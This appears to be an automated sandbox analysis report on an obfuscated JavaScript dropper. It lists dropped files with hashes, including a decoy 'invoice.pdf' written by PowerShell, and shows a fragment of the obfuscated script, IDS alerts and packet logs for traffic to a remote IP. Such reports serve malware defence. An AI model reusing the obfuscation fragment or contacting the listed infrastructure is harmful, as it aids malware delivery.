SHA-256:	9D8123E1F753F328A11EB398229CA687BA6255F5FF71312BB0526F91C8E8D7DD
SHA-512:	D55472664276F509B26E9B3CD07900656EC578C90E4A510C107B5C53ABC8DBE4164E2A6F3E03E1E916E56D97137D74D30FB52C334800F72CB16BCEE8F1749E1A
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\40818f91-4897-4f2c-a538-31988d8b2041.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 921996
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:rBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOFjNOX1Lj3vfE4JvWTlP:r+Tegs661ybxrr/IxkB1mabFhOXZ/fEh
MD5:	C14EBC9A03804BAB863F67F539F142C6
SHA1:	FD44F63771819778149B24DD4B073940F5D95BFA
SHA-256:	A495629FA5E71EE50BB96F9C4CAEAC46E8B44BFC3F910A073348258F63DFAFCE
SHA-512:	8ED832A54A3925914E3BCFC96A3ABFF63A511ADAC79A869AD1569BB175CC1AF84E6C2BD20FA2187A5C3B733625EDE5D95C2172B24ED2F252835689F6D4A0F5A2
Malicious:	false
Preview:	...........[l\[.......p.a$..$.K...&%J.J...Wuo..dI.vk4.E..P.u..(.....1.I....A...............0.....$ctg.H.'....@.Zk...~.s.A]M.A..:g?.^{...cjL...X..#.Q{......z...m...K.U]-..^V.........@..P...U.R..z.......?......]nG..O{..n........y...v7...~C#..O.z...:...H&..6M;........c..#.y4u.~6.?...V?.%?SW.....K...[..`N.i.1..:..@?i.Q..O...`.....m.!y.{...?=.. .....Zk......%.6......o<.....yA}......no......u,.....U...a.......[S.n..`.....:...1......X..u.u...`..B=.&M.y..s.....}.i..l.'u]. ...6.s`....zdN.F.>;.d%D..}3..b..~..k.......,hl.j..._...F..p.z..o...C..,.Ss.u.Xd..a.Y.{.p...?.k..t,&..'...........^.f.hg....y..Y...i..m....<..^......yK.......;.5...E...K..Q.;k..\|;..B.{m..eS..>b..>...6...wmC.i.....wv..k..{..X...RB.P..?w......1l.H..{{.`g.P.8.Z..v_.G.....f.%+z.....p.P..u}.T.....~r]..W7..._..c.k.....@....y.K...uOSj........^....B..]..~{..;...c....r.J.m.S.}.....k....u*^...5./...{......3.I.p.t...V..........W-..\|.K.N.....n.........Bl...#)..;..4.x.....'....A....x..

C:\Users\user\AppData\Local\Temp\acrocef_low\42365805-c505-4552-b855-9e6699fd7179.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/VRaWL07oXGZ4YIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:tRaWLxXGZ4ZGh3mlind9i4ufFXpAXkru
MD5:	41034A6B023B6BB9C723DA146E190954
SHA1:	22C95166FF8A1C4D2AAC25B75D804CEBAAA6ACF2
SHA-256:	52BB8B0CA62248721986D650004C11ACCB0C988B6FBA645D9B4E3557CA87A15D
SHA-512:	6F8CD54BBB750E32FEBD78895F433CCF0C553C56E6B7DDEA03E3EA36ED283084CF6EA6FA8999162999D184B0F04B6E6DAB7F6FC27648EE517F744D7E8DBC8AAD
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\b0460a2c-76ac-46d1-9844-bf1b52d8e218.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1111944
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121D1ybxrr/IxkB1mabFhOXZ/fEa+fDERXTJJJJv+9UZwY0SWB4:O3Pjegf121DMNB1DofjEiJJJJm94GS84
MD5:	FA6978A9EA472E8ACFF72AFE8CC7CC81
SHA1:	D58155446B67ACF4DA331A977B8EC7BA105C2C4F
SHA-256:	3D0DF2B14FC632520705424D2DA394922D3EDD8C977950656B736352CD5A37E2
SHA-512:	6B16382E6A4B9EECB8E8FB82189C2741511E8CF99C83B3FA52B062165B3B366EE0C11A7F60CE4B08D881B2418234097FA13CCAA9C90B1D7D37BD4D9A56EBA96C
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\d11ce41d-71fc-4424-aadb-243913c9757d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/YkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:DwZG2b3mlind9i4ufFXpAXkrfUs0qWLk
MD5:	38ED8E7B44D526DDA0F3E7608AF1AFA1
SHA1:	45E30A6789382E29AC870CCF92B514FB95742C45
SHA-256:	7B277E2332AE55A014D8C37CCC879D165E33315437F6197BEB153CD75E4EFBBF
SHA-512:	7169B1E4B2895A91FA0FBE4297CB70BE56D733084653334BB4E8421382F8F761DAD11B5D87277E0286A7C16CB53A2C79F96BB45F433D776E82A7CF45EA25121C
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18168), with CRLF line terminators
Entropy (8bit):	4.900358705671845
TrID:
File name:	1956351416528695.js
File size:	21'629 bytes
MD5:	b44fcba68da386e0b1aa0ca2674b4f6f
SHA1:	1d78ed5d145320e074f70d78d7b181e19eeaec26
SHA256:	f95dcbd7468ef2d60dfe881aa878754aced65dbbc4d42fd5613737f2d34283ac
SHA512:	50f136c91f0d5ee40250eebd7e382de0375100ab00407b6f33cca6990f89d8398bd86f532562a6d339e9294c1fbd847a140d7e63df8ea049ebd43a3f5a3cd6ac
SSDEEP:	384:1ytoH8RwI4OVJUltP38zeWxRrlXt9hL3ANSNvUGd6fPS+mOAqKbPqA/UHKzgtYhF:qS8iI4OVJUrWNXdiizIQJpfP6U
TLSH:	3CA265C052028C46BDF43BA177E23D8D0BC091B5D99814DC099BAF6D9BA7948E2F42F7
File Content Preview:	function gujsdkcfu(){hocihuu=[1031,3079,5127,4103,2055,3072];var kttjl=this[mgoizuww+bkfomvuy+cwumndyrd+besqr+haxcgo+ofdpiqtme+qgnmqsm+bpxgtk](this[vecekv+gamimq+nglpe+cwumndyrd+zkxrez+mgoizuww+bpxgtk][snegsdc+cwumndyrd+haxcgo+bkfomvuy+bpxgtk+haxcgo+bsgxp

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T19:28:10.557844+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-10T19:28:13.590020+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49700	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:28:09.750320911 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:09.755137920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:09.755220890 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:09.759850979 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:09.764688969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.557596922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.557657003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.557693005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.557843924 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.557895899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.557934046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.558017969 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.558051109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.558085918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.558121920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.558161020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.558183908 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.558196068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.558208942 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.558320999 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.609205961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.609261990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.609296083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.609342098 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.652415037 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.685794115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.685853004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.685887098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.685992956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.686026096 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.686083078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.686105967 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.686117887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.686224937 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.686420918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.686561108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.686594963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.686645031 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.686809063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.686903000 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.686908960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.686944008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.687051058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.687113047 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.687412977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.687527895 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.687529087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.687566996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.687658072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.687684059 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.687715054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.687798977 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.688277006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.688369989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.688404083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.688443899 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.695921898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.696044922 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.752219915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.752281904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.752312899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.752357960 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.752424955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.752459049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.752533913 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.772619963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.772650003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.772701979 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.813985109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.814038992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.814107895 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.814349890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.814405918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.814441919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.814479113 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.814507008 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.814665079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.814702034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.814740896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.814871073 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.814941883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.814975977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.815010071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.815043926 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.815094948 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.815224886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.815258980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.815298080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.815330029 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.815354109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.815387011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.815424919 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.815706015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.815761089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.815783978 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.815797091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.815839052 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.815928936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.815964937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.816097021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.816132069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.816137075 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.816348076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.816585064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.816678047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.816711903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.816741943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.816940069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.816976070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.817003012 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.817012072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.817049980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.817121983 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.817635059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.817670107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.817707062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.817734003 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.817795992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.817828894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.817862034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.817894936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.817894936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.817905903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.818033934 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.818440914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.818495035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.818530083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.818567991 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.840076923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.840526104 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.887595892 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.887685061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.887758017 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.887998104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.888056993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.888093948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.888139963 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.888209105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.888245106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.888333082 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.888365030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.888446093 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.903444052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.903543949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.903578043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.903616905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.903670073 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.903670073 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.903673887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.903743982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.903981924 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.942811966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.942929983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.943057060 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.943115950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.943279982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.943332911 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.943336010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.943413019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.943487883 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.943531990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.943566084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.943653107 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:10.943739891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.943773031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:10.943810940 CET	80	49699	193.143.1.205	192.168.2.7
